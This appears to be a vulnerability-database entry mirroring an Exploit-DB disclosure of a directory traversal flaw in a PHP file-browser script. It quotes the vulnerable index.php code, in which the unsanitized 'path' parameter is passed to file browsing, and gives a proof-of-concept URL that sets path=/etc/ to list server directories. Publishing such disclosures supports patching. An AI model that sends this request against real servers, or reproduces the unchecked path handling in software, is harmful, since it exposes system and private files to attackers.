发布 2018-09-04 漏洞条目

PHP File Browser Script 1 – Directory Traversal

Exploit Source

# Exploit Title: PHP File Browser Script 1 - Directory Traversal

# Dork: N/A

# Date: 2018-09-03

# Exploit Author: Özkan Mustafa Akkuş (AkkuS)

# Vendor Homepage: https://www.hscripts.com/scripts/php/file-browser.php

# Software Link:https://www.hscripts.com/scripts/php/downloads/file-browser-demo.zip

# Version: 1.0

# Category: Webapps

# Tested on: Kali linux

# Description : The "index.php" is vulnerable to directory traversal.

# An attacker can see and read all files known by the name

# Vulnerable File: index.php

<?php // line 45

72 $script = basename(__FILE__); // the name of this script

73 $path = !empty($_REQUEST['path']) ? $_REQUEST['path'] : "demo"; // the path the script should access

75 if($loc!=''){

76 echo "Browsing Location: <a href='https://www.exploit-db.com/exploits/45327/index.php'>".ucfirst($loc1)."</a>

77 <a href='https://www.exploit-db.com/exploits/45327/$script?path=$rpath/$loc1/$loc2'>".ucfirst($locdem2)."</a>

78 <a href='https://www.exploit-db.com/exploits/45327/'>".ucfirst($locdem3)."</a>";}

79 else{

80 echo "Browsing Location: <a href='https://www.exploit-db.com/exploits/45327/'>Demo</a>";

?> // line 151

# PoC :

https://Target/scripts/php/file-browser-demo/index.php?path=[DirectoryName]

# You can write the known directory name instead of [DirectoryName].

# Example: '/etc/' or '/var/www/'

# https://Target/scripts/php/file-browser-demo/index.php?path=/etc/

相关漏洞条目